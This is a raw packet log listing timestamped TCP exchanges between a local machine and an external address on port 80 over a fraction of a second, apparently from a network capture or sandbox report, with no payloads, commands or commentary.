Dec 20, 2024 07:12:31.879817009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.879941940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.880884886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.880944967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.880980015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.881038904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.882064104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.882113934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.882148981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.882203102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.883271933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.883337975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.883353949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.883404970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.884464025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.884641886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.884676933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.884749889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.885993958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.886178970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.886243105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.886806011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.886930943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.887000084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.887979031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.888092041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.888134003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.888259888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.889179945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.889276028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.889301062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.889394999 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.890360117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.890455008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.890523911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.890592098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.891560078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.891638994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.891680002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.891753912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.892731905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.892817974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.892822981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.893147945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.893970013 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.894098043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.894193888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.895060062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.895149946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.895273924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.896281004 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.896337032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.896373987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.896428108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.897484064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.897547007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.897595882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.897706985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.898663044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.898716927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.898792982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.898948908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.899807930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.899862051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.899914026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.899966955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.900979042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.901083946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.901173115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.901274920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.902192116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.902291059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.902378082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.903403997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.903512955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.903630018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.904539108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.904627085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.904647112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.904702902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.905752897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.905793905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.905860901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.905952930 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.906908989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.907031059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.907098055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.908104897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.908204079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.908246040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.908325911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.909342051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.909385920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.909486055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.909486055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.910473108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.910592079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.910675049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.911664963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.911699057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.911777020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.912833929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.912898064 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.912934065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.913079977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.914055109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.914190054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.914210081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.914386034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.915185928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.915242910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.915249109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.915297031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.916405916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.916476011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:31.916510105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:31.916560888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.045053005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.045068979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.045238018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.045329094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.045387030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.045435905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.045480013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.046531916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.046587944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.046696901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.046749115 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.047697067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.047751904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.047827005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.047916889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.048891068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.048940897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.048964024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.049007893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.050082922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.050138950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.050231934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.050276995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.051245928 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.051331997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.051367998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.051445007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.052403927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.052464008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.054929018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.054958105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.055011034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.055490017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.055723906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.055747986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.055913925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.055913925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.056909084 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.056998968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.057033062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.057092905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.058092117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.058140993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.058198929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.058278084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.059278011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.059331894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.059392929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.059449911 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.060472012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.060570955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.060594082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.060641050 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.061660051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.061747074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.061755896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.061809063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.062810898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.062921047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.062932968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.062988997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.064040899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.064110994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.064147949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.064223051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.065212965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.065290928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.065304995 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.065504074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.066407919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.066498995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.066525936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.066603899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.067598104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.067673922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.067709923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.067785978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.068778038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.068866014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.068903923 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.068962097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.069978952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.070033073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.070038080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.070101023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.071127892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.071217060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.071240902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.071293116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.072314024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.072391987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.072416067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.072463036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.073478937 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.073546886 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.073585987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.073640108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.074697971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.074785948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.074799061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.074870110 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.075853109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.075927019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.075932026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.076040983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.077035904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.077107906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.077202082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.077202082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.078238010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.078366041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.078371048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.078444004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.079422951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.079477072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.079516888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.079596043 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.080630064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.080681086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.080715895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.080782890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.081763029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.081821918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.081882000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.082000971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.082967997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.083050013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.083091021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.083223104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.084207058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.084333897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.084347010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.084382057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.085335016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.085385084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.085432053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.085504055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.086536884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.086606026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.086639881 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.086700916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.087699890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.087780952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.087810993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.087857962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.088871956 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.088963032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.088978052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.089027882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.090064049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.090118885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.090159893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.090217113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.091260910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.091306925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.091362000 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.091407061 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.092478991 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.092528105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.092542887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.092590094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.093607903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.093664885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.093712091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.093765974 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.094810963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.094857931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.094892979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.094952106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.096004963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.096101046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.096118927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.096215963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.097183943 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.097280025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.097299099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.097347021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.098355055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.098469973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.098541021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.098541021 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.099550009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.099663973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.099684954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.099740028 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.100769043 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.100827932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.100845098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.100943089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.101908922 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.101965904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.102008104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.102092981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.103080988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.103123903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.103193998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.103334904 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.104281902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.104398966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.104418993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.104489088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.105446100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.105504036 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.105571985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.105690002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.106637001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.106749058 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.106766939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.106796980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.107814074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.107881069 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.107920885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.108015060 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.108984947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.109036922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.237375021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.237521887 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.237684011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.237684011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.237905979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.238032103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:32.238135099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:32.239125013 CET	80	49801	31.41.244.11	192.168.2.4
